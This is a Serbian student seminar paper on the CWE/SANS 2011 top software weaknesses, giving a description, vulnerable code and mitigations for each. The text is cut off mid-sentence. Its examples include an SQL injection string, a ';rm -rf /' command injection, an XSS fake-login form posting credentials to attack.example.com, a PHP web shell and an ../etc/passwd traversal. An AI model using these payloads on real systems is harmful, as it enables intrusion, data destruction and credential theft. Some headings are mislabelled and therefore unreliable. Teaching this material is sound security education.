Upload
haphuc
View
233
Download
1
Embed Size (px)
Citation preview
Univerzitet u Beogradu
Matematički fakultet
Seminarski rad
predmet: Metodologija naučnog i stručnog rada
Najčešći problemi i greške koji se javljaju kod
programera pri razvoju softvera
Studenti: Profesor: Sanja Petrović dr. Vladimir Filipović
Dragana Andrejić
Perica Trajkov
UVOD
Kao i svaki drugi rad, tako je i programerski rad podložan greškama. Neke od tih grešaka su
lake za otkrivanje i nisu veoma opasne. Međutim, postoje greške koje ne samo da su česte nego su i
potencijalno veoma opasne ukoliko ih zlonamerni korisnik iskoristi. Lista od 25 najopasnijih
softverskih grešaka iz 2011. godine sastavljena od strane grupe CWE/SANS je lista
najrasprostranjenijih i najkritičnijih grešaka koje mogu da dovede do ozbiljnih ranjivosti u softveru.
Ove greške su često lake za nalaženje, i lake za popravku. Opasne su iz razloga što često dozvoljavaju
napadačima da u potpunosti ili delimično stave softver pod svoju kontrolu, da ukradu podatke, ili da
spreče da softver uopšte radi.
Ova lista najčešdih grešaka može da posluži kao alat za edukaciju i skretanje pažnje
programerima pri kreiranju softvera. Ona je rezultat rada između SANS instituta, MITRE grupe i
mnogih eksperata za softversku bezbednost. Lista iz 2011. godine predstavlja unapređenu i ažuriranu
listu iz 2010. godine.
U ovom radu obrađeno je 15 najčešdih grešaka koje se javljaju u ovoj listi. U nastavku je dat
prikaz tih grešaka po prioritetu bitnosti/javljanja.
Nepravilna neutralizacija specijalnih elemenata korišćenih u SQL naredbama (SQL Injection)
Opis
U računarskom svetu, celokupan softver je veoma povezan sa podacima: smeštanje u
bazu, uzimanje iz baze ili kreiranje informacija iz njih, koje bi se kasnije negde koristile.
Kad bi zlonamerni korisnici mogli na neki način da utiču na SQL upit koji se koristi za
komunikaciju sa bazom podataka, onda bi mogli nastati veliki problemi. Ukoliko se
koristi SQL kod u bezbednosne svrhe poput autentikacije, zlonamerni korisnici bi mogli
da promene logiku SQL upita kako bi zaobišli bezbednosna ograničenja. Upiti se mogu
izmeniti tako da kradu, oštete ili na neki drugi način promene podatke. U 2011. godini
SQL Injection je bio odgovoran za mnoge napade čak i na velike firme poput Sony
Pictures, PBS, MYSQL.com i mnoge druge.
Napad se vrši tako što zlonamerni korisnik unese odreĎeni tekst u polje za unos
teksta, čija vrednost se koristi u nekom SQL upitu. Tekst koji se unosi u polje je takav da
kad se pripoji SQL upitu, zapravo menja upit tako što obično umanjuje restriktivnost
uslova u upitu. Na taj način je moguć pristup veći od onog koji je bio planiran za
posetioca. Ovo se najbolje može objasniti na sledećem primeru:
Primer
Neka neki program u svom kodu koristi sledeći upit:
SELECT * FROM items WHERE owner = <userName> AND itemname =
<itemName>;
S obzirom na to da se SQL upit gradi dinamički nadovezivanjem stringa koji unosi
korisnik na bazni string, tada ukoliko korisnik sa korisničkim imenom boban u polje za
unos koje očekuje itemName, unese:
name' OR 'a'='a
tada upit postaje sledeći:
SELECT * FROM items WHERE owner = 'boban' AND itemname = 'name' OR 'a'='a';
Dodatak OR 'a'='a' prouzrokuje da WHERE klauza uvek ispunjava uslov pa upit postaje
logički ekvivalentan sa mnogo jednostavnijim upitom:
SELECT * FROM items;
Na ovaj način se umesto vraćanja samo onih stavki koje se tiču odreĎenog korisnika, vraćaju
sve stavke u tabeli.
Načini rešavanja problema
Korišćenje slojeva otpora poput Hibernate ili Enerprise Java Beans, koji mogu da
obezbede značajnu zaštitu od ovakvih napada ako se pravilno koriste.
Ukoliko je moguće treba koristiti strukturirane mehanizme koji automatski razdavaju
podatke od koda. Ovi mehanizmi su u mogućnosti da postavljaju znake navoda tamo
gde je potrebno, da vrše odgovarajuće enkodiranje ili automatsku validaciju. Na ovaj
način se ne mora oslanjati na razvijaoce softvera da će paziti prilikom rizičnih SQL
upita.
Pokretanje koda korišćenjem najmanje privilegija koje su neophodne za njegovo
uspešno izvršavanje
Sve sigurnosne provere koje se odvijaju na klijentskoj strani izvršavati i na serverskoj
Ukoliko je neophodno da se koriste dinamičko generisani SQL upiti voditi računa da
se argumenti stave pravilno pod navodnike, i da se koriste iskejp sekvence (escape
sequence) za svaki specijalni karakter
Pretpostaviti najgori slučaj – svaki unos je maliciozan
Nepravilna neutralizacija specijalnih elemenata korišćenih u OS naredbama (OS Injection)
Opis
Softver je često most izmeĎu nekoga izvan i unutrašnjosti operativnog sistema. Kada
se pozove neki drugi program u operativnom sistemu, a dozvole se unosi koji nisu
provereni, pomoću kojih se generiše string komanda, tada se otvara mogućnost da
zlonamerni korisnici izvršavaju sopstvene komande umesto predviĎenih. To može dovesti
do ranjivosti okruženja u kom napadač nema direktan pristup operativnom sistemu, na
primer u veb aplikacijama. Alternativno, ako se bezbednosna slabost javi u programu sa
privilegijama pristupa, ta slabost može da omogući napadaču da koristi komande koje
inače ne bi bile dozvoljene.
Primer
Neka je dat sledeći kod u jeziku PHP:
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);
Promenljiva $userName se ne proverava od opasnog sadržaja. Napadač može da
postavi sadržaj ove promenljive na neku proizvoljnu komandu, npr:
;rm -rf /
Sada komanda (promenljiva $command) ima sadržaj:
ls -l /home/;rm -rf /
S obzirom na to da je tačka-zarez separator komandi u UNIX sistemima, ova
komande će pored listanja sadržaja direktorijuma izvršiti i brisanje celog fajl sistema.
Načini rešavanja problema
Korišćenje bibliotečkih poziva, umesto eksternih procesa da bi se dobila željena
funkcionalnost
Pokretanje koda u “jail” ili sličnom sandbox okruženju, koje nameće striktne granice
izmeĎu procesa i operativnog sistema. Na ovaj način se može ograničiti pristup
fajlovima ili komandama koje se mogu izvršiti
Svi podaci koji se koriste za generisanje komandi koja će se izvršavati, trebaju se
čuvati što dalje od eksterne kontrole. Npr. u veb aplikacijama ovo podrazumeva
čuvanje podataka lokalno u stanju sesije, umesto slanja podataka klijentu u
sakrivenom polju forme
Sve sigurnosne provere koje se odvijaju na klijentskoj strani izvršavati i na serverskoj
Kopiranje u bafer bez provere veličine ulaza (Buffer Overflow)
Opis
Kopiranje ulaza kome nije proverena njegova veličina u bafer, je jedna od
najjednostavnijih, ali istovremeno i najčešćih grešaka koje se mogu javiti u
programiranju. Takodje, ovo je i jedna od najstarijih grešaka u programiranju. Stanje
prekoračenog bafera se javlja kad program pokušava da smesti više podataka u njega
nego što bafer može da primi, ili kada program pokušava da smesti podatke van granica
bafera. Najjednostavniji tip greške, i najčešći uzrok prekoračenja bafera, je kad program
kopira bafer bez provere koliko se kopira.
Primer
Neka je dat sledeći kod u jeziku C:
char last_name[20];
printf ("Enter your last name: ");
scanf ("%s", last_name);
Problem sa prethodnim kodom je taj da on ne ograničava veličinu unosa od strane
korisnika. Ukoliko korisnik unese nešto što ima više od 20 karaktera, tada će se javiti
prekoračenje bafera, jer niz karaktera u koji se unosi prezime može da sadrži najviše 20
karaktera.
Neka je dat sledeći kod u jeziku C koji pokušava da napravi lokalnu kopiju bafera da
bi mogao da pravi neke izmene nad podacima:
void manipulate_string(char* string){
char buf[24];
strcpy(buf, string);
...
}
Medjutim, programer se ne uverava da li veličina podatka na koji pokazuje pokazivač
string, odgovara lokalnom baferu, i “naslepo” kopira sadržaj pomoći funkcije strcpy koja
je potencijalno nebezbedna.
Načini rešavanja problema
Korišćenje programskih jezika koji ne dozvoljavaju ove slabosti, ili koji obezbeĎuju
konstrukte koji olakšavaju da se ovaj problem primeti. Npr. mnogi jezici koji imaju
svoj menadžer memorije, kao što su Java i Perl, onemogućavaju ovakve situacije.
Neki jezici, poput Ade i C#, obično onemogućavaju prekoračenje bafera ali se ova
opcija može isključiti.
Korišćenje biblioteka koje ne dozvoljavaju da se ovakav problem pojavi (npr. Safe C
String Library - SafeStr)
Kompajliranje programa pomoću kompajlera koji automatski obezbeĎuje zaštitne
mehanizme protiv prekoračenja bafera, time što prijavljuju upozorenje
Vršiti dvostruke provere veličine bafera, paziti o granicama bafera ukoliko se njemu
pristupa u petlji, a ponekad i odsecati ulazne podatke eksplicitno za svaki slučaj
Pretpostaviti da je svaki unos preveliki
Nepravilna neutralizacija ulaza prilikom generisanja Web stranica (Cross-site Scripting)
Opis
Cross-site Scripting (XSS) je jedana od preovlaĎavajućih, upornijih i opasnijih
ranjivosti u web aplikacijama. Ova ranjivost je praktično neizbežna kada kombinujemo
HTTP-ovo nepostojanje stanja, razne podatke i skriptove u HTML-u, dosta prenošenja
podataka izmedju web sajtova, raznovrsne šeme enkodiranja i web pregledače sa dosta
dodataka. Ukoliko nismo pažljivi, napadači mogu da ubace Javascript ili drugi izvršni
kod za pregledač u web stranicu koju naša web aplikacija generiše. Našoj web stranici
pristupaju razni korisnici, čiji pregledači izvršavaju maliciozan skript koji je došao od
nas, a zapravo je delo nekog zlonamernog korisnika. Do ovoga dolazi jer naš veb softver
ne neutrališe, ili loše neutrališe unos od strane korisnika. XSS ranjivost se javlja u
sledećoj okolnosti:
sumnjivi podaci dospeju do web aplikacije
veb aplikacija dinamički generiše veb stranicu koja sadrži ove sumnjive podatke
tokom generisanja stranice, aplikacija ne sprečava da podaci sadrže delove koji su
izvršivi u veb pregledaču, poput JavaScript kodova, dogaĎaja miša, Flash, ActiveX
kontrole itd.
žrtva posećuje generisanu veb stranicu preko veb pregledača, koja sadrži maliciozan
skript
s obzirom na to da skript dolazi sa stranice koja je poslata od istog veb servera, žrtvin
veb pregledač izvršava maliciozan skript
ovo narušava politiku veb pregledača, koja kaže da skriptovi na jednom domenu ne
smeju da pristupe resursima ili da izvršavaju skript sa drugog domena
Primer
Neka je kod u PHP-u koji prikazuje pozdravnu poruku na stranici baziranu na HTTP
GET username parametru.
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>';
S obzirom na to da parametar može biti proizvoljan, URL strane može biti
modifikovan tako da $username sadrži neki skript npr:
http://trustedSite.example.com/welcome.php?username=<Script
Language="Javascript">alert("You've been attacked!");</Script>
Ovo rezultuje bezopasnim alert dijalogom koji iskače. Inicijalno, ovo ne izgleda kao neka
pretnja. Prava opasnost je što će napadač da kreira maliciozni URL, a onda da iskoristi e-
poštu ili socijalni inženjering da namami žrtve da poseti link ka nekoj stranici.
Često, napadač može da ugradi lažnu login stranu, i time prevari korisnika da unese šifru koju
će napadač moći videti, npr:
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please
Login:<form name="input" action="http://attack.example.com/stealPassword.php"
method="post">Username: <input type="text" name="username" /><br/>Password: <input
type="password" name="password" /><input type="submit" value="Login" /></form></div>
Ukoliko korisnik klikne na ovaj link tada će Welcome.php da izgeneriše lažnu stranu
za logovanje.
Načini rešavanja problema
korišćenje biblioteka koje ne dozvoljavaju da se ovakav problem pojavi ili koje
obezbeĎuju konstrukte koji olakšavaju da se ovaj problem primeti.
razumevanje konteksta u kojem će se naši podaci koristiti, kao i enkodiranja koje će
biti očekivano. Za sve podatke koji će biti prikazani na stranici, naročito za one koji
su dobiveni od eksternog unosa, treba koristiti odgovarajuće enkodiranje
nealfanumeričkih karaktera
razumevanje svih mogućih oblasti gde bi neželjeni unosi mogli da naškode web
aplikaciji: parametri ili argumenti, kolačići, promenljive okruženja, rezultati upita i dr.
sve sigurnosne provere koje se odvijaju na klijentskoj strani izvršavati i na serverskoj
pretpostaviti da je sav unos maliciozan
Nedostajuća autentikacija za kritične funkcije (Cross-site Scripting)
Opis
Softver može da otkrije odreĎenu kritičnu funkcionalnost time što pretpostavlja da
niko neće ni da pomisli da upadne u sistem na drugi način osim “ulaskom na glavna
vrata”. MeĎutim napadači mogu da otkriju alternativne načine za ulazak u sistem gde im
neće trebati autentikacija. Softver ne vrši nikakvu autentikaciju za funkcionalnost koja
zahteva dokaz o identitetu korisnika ili koja koristi veliku količinu resursa.
Primer
U narednom Java primeru metoda createBankAccount se koristi da se napravi
BankAccount objekat za bankarsku menadžersku aplikaciju.
public BankAccount createBankAccount(String accountNumber, String accountType,
String accountName, String accountSSN, double balance) {
BankAccount account = new BankAccount();
account.setAccountNumber(accountNumber);
account.setAccountType(accountType);
account.setAccountOwnerName(accountName);
account.setAccountOwnerSSN(accountSSN);
account.setBalance(balance);
return account;
}
MeĎutim ne postoji mehanizam autentikacije koji bi osigurao da korisnik koji pravi
BankAccount objekat ima autorizaciju da pravi nove bankarske naloge. Neki
autentikacijski mehanizam se mora koristiti da se proveri da korisnik ima autorizaciju da
pravi objekte bankarskih naloga.
Načini rešavanja problema
podela softvera na nekoliko nivoa delova (za goste, privilegovani delovi,
administrativni delovi). Odrediti za koje od njih je potreban dokaz o identitetu
korisnika. Identifikovati sve potencijalne kanale za komunikaciju, ili druge načine za
interakciju sa softverom, da bi se osigurali da su svi kanali propisno obezbeĎeni.
sve sigurnosne provere koje se odvijaju na klijentskoj strani izvršavati i na serverskoj
kadgod je moguće, izbegavati implementiranje posebnih rutina za autentikaciju i
razmotriti korišćenje autentikacijskih mogućnosti koje su podržane od stane
frejmvorka, operativnog sistema ili okruženja
korišćenje biblioteka koje ne dozvoljavaju da se ovakav problem pojavi ili koje
obezbeĎuju konstrukte koji olakšavaju da se ovaj problem primeti. Na primer,
razmotriti korišćenje biblioteka sa autentikacijskim mogućnostima poput OpenSSL ili
ESAPI Authenticator.
Nedostatak autorizacije
Opis
Pretpostavimo da ste domaćin kućne proslave za nekoliko bliskih prijatelja i njihovih
gostiju. Sve goste smestite u vašu dnevnu sobu, ali dok vi razgovarate sa jednim od vaših
prijatelja, jedan od gostiju istažuje po vašem ormariću, frižideru i gleda šta krijete u
noćnom stočiću pored kreveta. Softver se suočava sa sličnim problemima ovlašćenja koji
mogu dovesti do teških posledica. Ako ne obezbedite da softverski korisnici rade samo
ono sto im je dozvoljeno, napadači će pokušati da iskoriste vaše neispravno ovlašćenje i
vršiće neovlašćene radnje namenjene samo za ograničene korisnike. U maju 2011,
Citigroup je otkrio da je ugrožen od strane hakera, koji su bili u stanju da ukradu podatke
o stotinama hiljada bankovnih računa promenom informacija o računu koji je bio prisutan
u oblastima u URL-u. Ranije, nedostatak autorizacije je korišćen za napad za kradju
privatnih informacija o iPad vlasnika AT&T sajta.
Primer
Ova funkcija radi proizvoljan SQL upit nad datom bazom podataka i vraća rezultat upita.
function runEmployeeQuery($dbName, $name)
{
mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
$preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE
name = :name');
$preparedStatement->execute(array(':name' => $name));
return $preparedStatement->fetchAll();
}
/.../ $employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);
Dok je ovaj kod dovoljno pažljiv da izbegne SQL Injection, funkcija ne potvrdjuje da
korisnik ima autorizaciju da pošalje kveri. Napadač ima mogucnosti da uzme osetljive
podatke o zaposlenima iz baze podataka.
Načini rešavanja problema
Podelite svoju aplikaciju na anonimne, normalne, privilegovane i administrativne
oblasti.
Uverite se da ste izvrsili kontrolu pristupa provere vezane za vaše poslovne logike.
Na primer, baza podatka moze da ograniči pristup medicinske dokunemtacije
odredjenog korisnika baze podataka, ali svaki zapis može biti namenjen da bude
dostupan za pacijenta i lekara pacijenta.
Koristite perspektivne biblioteke ili okvire koji ne dozviljavaju da dodje do slabosti
ili obezbedjuju konstrukcije koje omogućavaju da se ta slabost lakse izbegne. Na
primer, razmislite o korišćenju autorizacija okvira kao sto su JAAC Authorization
Framework i OWASP ESAPI Access Control feature.
Za veb aplikacije, uverite se da se mehanizam za kontrolu pristupa pravilno izvršava
na strani servera na svakoj stranici. Kosisnicima ne bi trebalo da bude dozvoljeno da
pristupe bilo kojoj neovlašcenoj funkcionalnosti.
Koristite mogućnosti kontrole pristupa vašeg operativnog sistema.
Korišćenje hard-kodiranih akreditiva
Opis
Fiksno kodiranje tajne lozinke ili kriptografskog ključa u vaš program je loša navika,
iako se čini izuzetno pogodnom za obučene inžinjere. Iako može da smanji vaš budžet za
testiranje i podršku, može da smanji sigurnost vaših klijenta do nule. Ako je lozinka ista za
sve vaše softvere, onda svaki korisnik postaje ranjiv ako otkriju vašu lozinku. Zato što je
fiksno kodirana obično je veliki problem za popravku za sistem administratore. I znate koliko
vole neprijatnosti u 2 ujutru kada je njihova mreža hakovana - otprilike isto koliko bi vi voleli
da odgovarate hordama ljutih korisnika i novinarima ukoliko vaša mala tajna izadje u javnost.
Većina od CWE top 25 može biti objašnjena kao iskrena greška; zbog ovog problema, mnogi
korisnici neće videti na taj način. Visoko profilni Stuxnet crv, koji je izazvao operativne
probleme u Iranskom nuklearnom postrojenju, koristio je fiksno kodirane akreditive za
širenje. Još jedan način na koji fiksno kodirane akreditive nastaju je kroz neenkriptovane ili
bagovito skladište u konfiguracionom fajlu, registru ključeva ili neke druge lokacije kojima
može da pristupa samo administrator. Iako je ovo mnogo više pristojno nego zakopavati ih u
binarnom programu gde ne mogu biti izmenjene, postaje loša ideja izlagati ovaj fajl strancima
preko slabih dozvola ili drugih sredstava.
Primer
Sledeći kod koristi fiksno kodiranu lozinku za povezivanje sa bazom podataka:
...
DriverManager.getConnection(url, "scott", "tiger");
...
Ovo je primer spoljašne fiksno kodirane lozinke na klijentskoj strani veze. Ovaj kod
će se izvršavati uspešno, ali svako ko ima pristup njemu imaće pristup šifri. Kada je program
otpremljen, nema povratka nazad za korisnika baze "scott" sa lozinkom "tiger" ukoliko se
program ne premosti. Snalažljiv radnik sa pristupom ovoj informaciji može da je iskoristi da
provali u sistem. Čak i gore, ako napadač ima pristup bytecode za ovu aplikaciju, mogu da
iskoriste javap -c komandu da pristupe rastavljenom kodu, koji će da sadrži lozinke koje su
korišćene. Rezultat ove operacije može da izgleda ovako za primer iznad:
javap -c ConnMngr.class
22: ldc #36; //String jdbc:mysql://ixne.com/rxsql
24: ldc #38; //String scott
26: ldc #17; //String tiger
Načini rešavanja problema
Za odlaznu autentifikaciju : čuvati lozinke, ključ i druge akreditive van koda u snažno
zaštićenim, kodiranom konfiguracionom fajlu ili u bazi podataka zaštićenoj od
pristupa autsajdera, uključujući i druge lokalne korisnike na istom sistemu. U
Windows okruženju, šifrovani sistem datoteka moze da pruži neku vrstu zaštite.
Za potvrde identiteta pomoću lozinki primeniti jake jednosmerne heševe za lozinke i
čuvati heševe u konfiguracionim fajlovima ili bazi podataka sa odgovarajućim
kontrolama pristupa. Na taj način kradja datoteke ili baze podataka i dalje zahteva
napadaču da razbije lozinku.
Za front-end to back-end veze postoje 3 rešenja mada nijedno nije potpuno.
Nedostatak šifrovanja osetljivih podataka
Opis
Kad god se osetljivi podaci čuvaju ili prenose bilo gde van vaše kontrole, napadači su
u potrazi za načinima da dodju do njih. Ako vaš softver šalje osetljive informacije preko
mreže, ta informacija prelazi mnogo razližitih čvorova u tranzitu do krajnjeg odredišta. Ako
vaš softver čuva osetljive informacije na lokalnoj datoteci ili bazi podataka, postoje drugi
načini da napadači dodju do njih. Setimo se masovnih kradja kreditnih kartica.
Primer
Ovaj kod piše korisničke informacije za prijavu u kolačić, pa korisnik ne mora da se
prijavljuje ponovo.
function persistLogin($username, $password)
{
$data = array("username" => $username, "password"=> $password);
setcookie ("userdata", $data);
}
Kod čuva ime korisnika i lozinku u otvorenom tekstu u kolačiću na mašini korisnika.
Ovo izlaže prijavu informacije o korisniku ukoliko je njegov računar ugrožen od strane
naparača.
Načini rešavanja problema
Jasno odredite koji podaci ili resursi su dovoljno vredni da treba da budu zašticeni
enkripcijom. Zahtevajte da svaki prenos ili skladištenje ovih podataka /resursa koristi
dobru proveru od algoritma za šifrovanje.
Identifikovati posebne potrebe i kontekste za šifrovanje
Nemojte sami da razvijate svoje sopstvene kriptografske algoritme. Proverite da ne
koristite zastarelu kriptografiju. Neki stariji algoritmi za koje se nekada mislilo da
zahtevaju milijarde godina, danas mogu biti slomljeni u nekoliko dana ili sati.
Ne dozvolite da osetljivi podaci idu van granica poverenja i uvek budite oprezni
prilikom povezivanja sa odeljkom van zaštićene zone
Koristite konvencije za imenovanje i jake tipove. Prilikom kreiranja strukture,
objekta i druge složene celine, odvojite osetljive podatke i one koji nisu osetljivi što
je više moguće.
Nesmetano otpremanje fajlova sumnjivog tipa
Opis
Kačenje (otpremanje) fajlova na server može biti problematičan posao, i treba ga
kontrolisati. Naime, neko može da naizgled kači neku sliku na naš server, medjutim ta slika
može imati neku ekstenziju koja može da mu naškodi. Recimo umesto ekstenzije .gif (za
sliku) može stajati .php, sto može napraviti ozbiljne probleme serveru.
Primer
Naredni kod dozvoljava korisniku kačenje slike na server. HTML kod ima ulazno
polje tipa 'file':
<form action="upload_picture.php" method="post" enctype="multipart/form-
data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
Kada se pošalje, forma šalje fajl stranici upload_picture.php na serveru. PHP kod
zatim skladišti taj fajl na privremenu lokaciju sve dok ne zatreba serveru ili dok se
jednostavno ne izbriše.
U sledecem primeru, fajl je premešten u pictures/ folder.
// Zadajemo lokaciju gde ce okačena slika biti snimljena
$target = "pictures/" . basename($_FILES['uploadedfile']['name']);
// Premešta okačen fajl na novu lokaciju
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target))
{
echo "The picture has been successfully uploaded.";
}
else
{
echo "There was an error uploading the picture, please try again.";
}
Problem sa gornjim kodom je u tome sto ne postoji provera tipa fajla koji se kači.
Ako pretopostavimo da je dozvoljen pristup folderu pictures/, napadač bi lako mogao da
okači neki fajl tipa:
malicious.php
S obzirom da je fajl .php, on ce biti izvršen na veb serveru. Napadač bi zatim mogao
da unese sledeći kod:
<?php
system($_GET['cmd']);
?>
Zatim bi vrlo lako nakon ove komande mogao da pristupi komandama na serveru
preko URL adrese:
http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l
koja zapravo pokreće komandu 'ls -l' ili bilo koju drugu komandu.
Načini rešavanja problema
Sami generisati ime fajla za svaki fajl koji se kači. Ne koristiti ime fajla koje je
korisnik dopremio
.
Fajlove koji se dopremaju smestati u zaseban folder, koji nema veze sa folderima koji
sadrže neki web dokument. Po potrebi koristiti mehanizme koji će te fajlove
prebacivati u bitnije foldere.
Oslanjanje na neproverene ulaze u bezbednosnim odlukama
Opis
U zemljama gde je starosna granica za konzumiranje alkohola minimalna, u barovima
se obično traži da mušterija pokaže legitimaciju kako bi se utvrdilo da li joj se sme prodati
alkohol. Mada ukoliko neko deluje dovoljno odraslo ova procedura se može i preskočiti, što
mogu iskoristiti malolena lica koja izgledaju starije. Dodatno je komlikovano utvrditi da li je
legitimacija prava ili pak da li osoba koristi tudju legitimaciju. Na sličan način, programeri se
često oslanjaju na nepouzdane ulaze, jos kada se ti ulazi koriste pri dodeli pristupa nekom
zabranjenom resursu, može doći do problema.
Primer
Pretpostavimo da neka aplikacija koristi zaštitni mehanizam koji zavisi od postojanja
ili vrednosti nekog ulaza, s tim što taj ulaz može biti modifikovan od strane neovlašćenog lica
u cilju premošćavanja bezbednosnog mehanizma.
Sledeći deo koda ilustruje kako utvrditi ulogu korisnika preko kukija:
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
Cookie c = cookies[i];
if (c.getName().equals("role")) {
userRole = c.getValue();
}
}
Načini rešavanja problema
Skladištiti osetljive podatke i informacije o stanju samo na serverskoj strani.
Obezbediti da sistem nedvosmisleno prati svoja stanja i stanja korisnika kao i pravila
koja definisu dozvoljene prelaze iz stanja. Ne dozvoljavati bilo kojoj korisnickoj
aplikaciji da utiče na stanja direktno.
Obezbediti da se bilo koje sigurnosne provere koje se dešvaju na klijentskoj strani
dupliraju i na serverkoj, kako bi se izbegla CWE-602.
Izvršavanja sa nepotrebnim privilegijama
Opis
Čovek-pauk, dobro poznati superheroj, prati svoj moto: “Sa velikom moći dolazi i
velika odgovornost.” Softver može da zahteva odgovarajuće privilegije za obavljanje
odgovarajućih poslova, ali korišćenje tih privilegija više nego što je potrebno može biti
rizično. Ukoliko koristi dodatne privilegije, aplikacija ima pristup resursima kojima korisnik
ne može pristupiti direktno. Na primer, možemo pokrenuti zaseban program i taj program
omogućava svom korisniku da odabere datoteku za otvaranje, ova odlika se često pojavljuje
kod editora. Korisnik može pristupiti neovlašćenim fajlovima kroz pokrenut program,
zahvaljujući tim dodatnim privilegijama. Ukoliko i ne pokrenemo druge programe, dodatni
propusti u softveru mogu izazvati mnogo ozbiljnije posledice nego da je pokrenut sa nižim
nivoom privilegija.
Primer
Naredni kod poziva funkciju chroot() koja ograničava pristup aplikacije na podskup
fajlova koji su ispod APP_HOME u cilju sprečavanja da napadač koristi program za pristup
neovlašćenim datotekama koje se nalaze negde drugde. Kod nakon toga otvara fajl koji je
odredio korisnik i obraĎuje sadržaj datoteke.
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
Ograničavanje izvršavanja procesa u okviru home direktorijuma aplikacije pre otvranja bilo
kakve datoteke je dragocena mera bezbednosti.
Načini rešavanja problema
Pokretanje koda korišćenjem najnižih privilegija koje su neophodne da bi se izvršili
svi neophodni zadaci. Ukoliko je moguće, kreirati izolovane naloge sa ograničenim
privilegijama koji se koriste za izvršavanje samo jednog zadatka. Na taj način,
prilikom uspešnog napada napadaču neće odmah biti omogućen pristup ostatku
softvera. Na primer, aplikacije za rad sa bazama podataka retko zahtevaju da budu
pokrenute od strane administratora baze podataka, pogotovu ukoliko su to neke
jednostavnije svakodnevne operacije.
Odrediti funkcionalnosti koje zahtevaju posebne privilegije, kao što je pristup
privilegovanim resursima operativnog sistema. Ove funkcionalnosti treba izdvojiti i
izolovati od ostatka koda ukoliko je to moguće. Privilegije treba podizati sto je
kasnije moguće i spuštati ih što je pre moguće.
Treba raditi validaciju unosa za svaki privilegovan kod koji treba biti izložen
korisniku i treba odbaciti sve što se ne uklapa u postavljene zahteve.
Kada odbacujemo privilegije treba proveriti to da li su uspešno odbačene
Ukoliko okolnosti zahtevaju da kod bude pokrenut sa dodanim privilegijama tada
treba odrediti minimalni nivo pristupa koji je neophodan.
Cross-Site Request Forgery (CSRF)
Opis
Cross Site Scripting (često skraćeno nazivan XSite scripting ili XSS) je sistem koji
podrazumeva emitovanje neželjene klijentski definisane skripte mimo znanja korisnika.
Primer
Ovaj tip napada (CSRF) eksploatiše korisnikove privilegije bez njegovog znanja,
koristeći se njegovom sesijom i http metodama. Recimo da korisnik poseduje svoj blog i da
napadač želi da postavi poruku na tom blogu u ime korisnika. Napadač to, naravno, ne može
da učini bez autentikacionih podataka. Ali, mogao bi nekako „nagovoriti″ korisnika da to
uradi sam, tako što će na sajtu kome korisnik veruje, postaviti skriptu koja korisnika vodi na
ciljani sajt (blog) i izvršava odreĎene akcije (postavlja tekst). Najčešća lokacija ovakvih
skripti je u src atributu img tagova:
<img src="http://blog/?postaviPost">
Aplikacija (ukoliko nema rešen ovaj bezbednosni deo) zatim proverava korisnikovu sesiju,
koja je u redu, jer je korisnik autorizovan, i verujući mu, izvršava odreĎenu akciju, pri čemu,
ni korisnik, ni aplikacija, najčešće ne znaju da su prevareni.
Ovo je posebno zgodno ukoliko korisnik ima administratorske privilegije. Ukoliko je
ukombinovan sa XSS rezultat može biti razarajući.
Načini rešavanja problema
Korišćenje proverenih biblioteka koje ne dozvoljavaju da doĎe do ovakvih situacija
ili koje obezbeĎuju konstrukcije koje čine da se ova slabost lakše izbegne. Na primer,
koristiti anti-CSRF pakete kao što je OWASP CSRFGuard.
Treba identifikovati veoma opasne operacije. Kada korisnik želi da izvrši neku
opasnu operaciju, treba poslati zahtev za potvrdu da se utvrdi da li korisnik stvarno
želi da izvrši tu operaciju.
Ne koristiti GET metod za zahteve koji dovode do promene stanja
Neodgovarajuća ograničenja putanje zabranjenog direktorijuma (Path traversal)
Opis
Dok se podaci često razmenjuju korišćenjem fajlova nekad ne želimo da razotkrijemo
svaki fajl na našem sistemu dok to radimo. Dok pravimo ime fajla, rezultujuća putanja može
ukazivati negde van predviĎenog direktorijuma. Napadač može ukombinovati više „..“ ili
nekih drugih sekvenci kako bi naveo operativni sistem da izvrši navigaciju van
odgovarajućeg direktorijuma, negde u ostatku sistema.
Primer
Naredni kod može biti korišćen u aplikaciji za društvene mreže u kojoj se informacije
za svakog korisnika čuvaju u zasebnim fajlovima. Svi ti fajlovi se nalaze u jednom istom
direktorijumu:
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;
open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
print "<li>$_</li>\n";
}
print "</ul>\n";
Dok programer pristupa fajlovima sa komandama kao što su: /users/cwe/profiles/alice ili
/users/cwe/profiles/bob napadač može koristiti string kao što je: ../../../etc/passwd. Program će
tada generisati putanju: /users/cwe/profiles/../../../etc/passwd. Kada je fajl otvoren operativni
sistem razrešava “../” I pristupa fajlu: /etc/passwd. Kao rezultat napadač može pročitati sadržaj fajla za lozinke.
Načini rešavanja problema
Pretpostavimo da su svi ulazi zlonamerni. Koristimo „prihvati samo dobro poznato“
metod za validaciju unosa. Prilikom vršenja validacije, razmotriti sve potencijalno
odgovarajuće osobine, uključujući dužinu, tip ulaza, pun opseg prihvatljivih
vrednosti, sintaksa, usaglašenost sa pravilima poslovanja. Kao primer logike o
pravilima poslovanja možemo uzeti ulaz „brod“, koji može biti sintaksno ispravan
zato što sadrži samo alfanumeričke karaktere, ali on nije ispravan ukoliko se očekuje
da ulaz sadrži samo imena boja kao što su „crveno i plavo“.
Prilikom validacije imena fajlova treba koristiti stroga pravila koja ograničavaju skup
karaktera koji se mogu koristiti. Ukoliko je moguće treba omogućiti samo korišćenje
jedne tačke „.“ u imenima fajlova. TakoĎe treba korisiti i listu dozvoljenih ekstenzija.
Ne treba se oslanjati isključivo na mehanizme za filtriranje koji prepoznaju
potencijalno opasne karaktere. Na primer, filtriranje karaktera „/“ je nedovoljna
